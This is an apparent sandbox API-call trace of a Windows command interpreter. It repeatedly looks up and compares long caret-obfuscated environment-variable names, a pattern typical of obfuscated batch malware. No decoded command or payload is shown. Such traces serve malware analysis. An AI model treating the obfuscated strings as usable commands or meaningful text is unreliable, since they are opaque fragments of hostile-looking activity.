lpName="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.137] _wcsicmp (_String1="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", _String2="CD") returned -5 [0102.137] _wcsicmp (_String1="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", _String2="ERRORLEVEL") returned -7 [0102.137] _wcsicmp (_String1="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", _String2="CMDEXTVERSION") returned -5 [0102.137] _wcsicmp (_String1="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", _String2="CMDCMDLINE") returned -5 [0102.137] _wcsicmp (_String1="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", _String2="DATE") returned -6 [0102.137] _wcsicmp (_String1="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", _String2="TIME") returned -22 [0102.137] _wcsicmp (_String1="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", _String2="RANDOM") returned -20 [0102.137] _wcsicmp (_String1="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0102.137] GetEnvironmentVariableW (in: lpName="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.137] _wcsicmp (_String1="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", _String2="CD") returned -5 [0102.137] _wcsicmp (_String1="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", _String2="ERRORLEVEL") returned -7 [0102.137] _wcsicmp (_String1="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", _String2="CMDEXTVERSION") returned -5 [0102.137] _wcsicmp (_String1="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", _String2="CMDCMDLINE") returned -5 [0102.137] _wcsicmp (_String1="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", _String2="DATE") returned -6 [0102.137] _wcsicmp (_String1="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", _String2="TIME") returned -22 [0102.137] _wcsicmp (_String1="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", _String2="RANDOM") returned -20 [0102.138] _wcsicmp (_String1="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0102.138] GetEnvironmentVariableW (in: lpName="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.138] _wcsicmp (_String1="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", _String2="CD") returned -5 [0102.138] _wcsicmp (_String1="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", _String2="ERRORLEVEL") returned -7 [0102.138] _wcsicmp (_String1="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", _String2="CMDEXTVERSION") returned -5 [0102.138] _wcsicmp (_String1="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", _String2="CMDCMDLINE") returned -5 [0102.138] _wcsicmp (_String1="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", _String2="DATE") returned -6 [0102.138] _wcsicmp (_String1="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", _String2="TIME") returned -22 [0102.138] _wcsicmp (_String1="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", _String2="RANDOM") returned -20 [0102.138] _wcsicmp (_String1="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0102.138] GetEnvironmentVariableW (in: lpName="^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.138] _wcsicmp (_String1="^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", _String2="CD") returned -5 [0102.138] _wcsicmp (_String1="^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", _String2="ERRORLEVEL") returned -7 [0102.138] _wcsicmp (_String1="^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", _String2="CMDEXTVERSION") returned -5 [0102.138] _wcsicmp (_String1="^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", _String2="CMDCMDLINE") returned -5 [0102.138] _wcsicmp (_String1="^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", _String2="DATE") returned -6 [0102.138] _wcsicmp (_String1="^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", _String2="TIME") returned -22 [0102.138] _wcsicmp (_String1="^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", _String2="RANDOM") returned -20 [0102.138] _wcsicmp (_String1="^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0102.139] GetEnvironmentVariableW (in: lpName="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.139] _wcsicmp (_String1="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", _String2="CD") returned -5 